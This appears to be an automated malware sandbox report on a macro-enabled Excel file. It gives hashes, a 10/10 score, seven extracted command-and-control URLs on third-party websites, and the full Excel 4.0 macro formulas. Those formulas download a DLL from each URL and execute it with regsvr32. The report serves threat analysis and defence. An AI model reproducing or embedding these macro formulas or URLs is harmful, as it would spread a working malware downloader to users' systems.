General

  • Target

    3c676032b55fd0583ebe2e22a00bafb811ae598a95c65fb6bfe53c94f04b4362

  • Size

    21KB

  • MD5

    ac78a11fd0ec22c7aca563ebb0ec4ba0

  • SHA1

    e3940f134b70b2f187b0f3fb58554530b391bd86

  • SHA256

    3c676032b55fd0583ebe2e22a00bafb811ae598a95c65fb6bfe53c94f04b4362

  • SHA512

    117532c55ff7d053e40b50ef5b62fdbc2522d55d7deb8349d522bcc1ab33cd396bb143db3858da8391ba969fd8b9b965d50b4a7b9e00be07d5ba372772d23ff8

  • SSDEEP

    384:5DfknuAi/NjA2S8EibbwBlwW5SYrLb5CzgObff9kC+xbX7sbEtF:14sN3zXuFCBn9kC+xbLb

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://buchhave.net/cache/t82rF5S/

https://www.bellaitaliatour.com/gite/YcFHn/

http://brainora.com/brand/Xf7eDVe/

http://breustchabrierarchitectes.fr/bca/CW5pD/

https://biasikazan.hu/system/NZv3MZ0Kji27aPVe/

http://beta.orlandofoodtours.com/wp-content/uploads/mrJcJgcwH8p/

http://bestsafe.co.uk/cgi-bin/S29alEny/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://buchhave.net/cache/t82rF5S/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.bellaitaliatour.com/gite/YcFHn/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://brainora.com/brand/Xf7eDVe/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://breustchabrierarchitectes.fr/bca/CW5pD/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://biasikazan.hu/system/NZv3MZ0Kji27aPVe/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://beta.orlandofoodtours.com/wp-content/uploads/mrJcJgcwH8p/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bestsafe.co.uk/cgi-bin/S29alEny/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • 3c676032b55fd0583ebe2e22a00bafb811ae598a95c65fb6bfe53c94f04b4362
    .xlsm office2007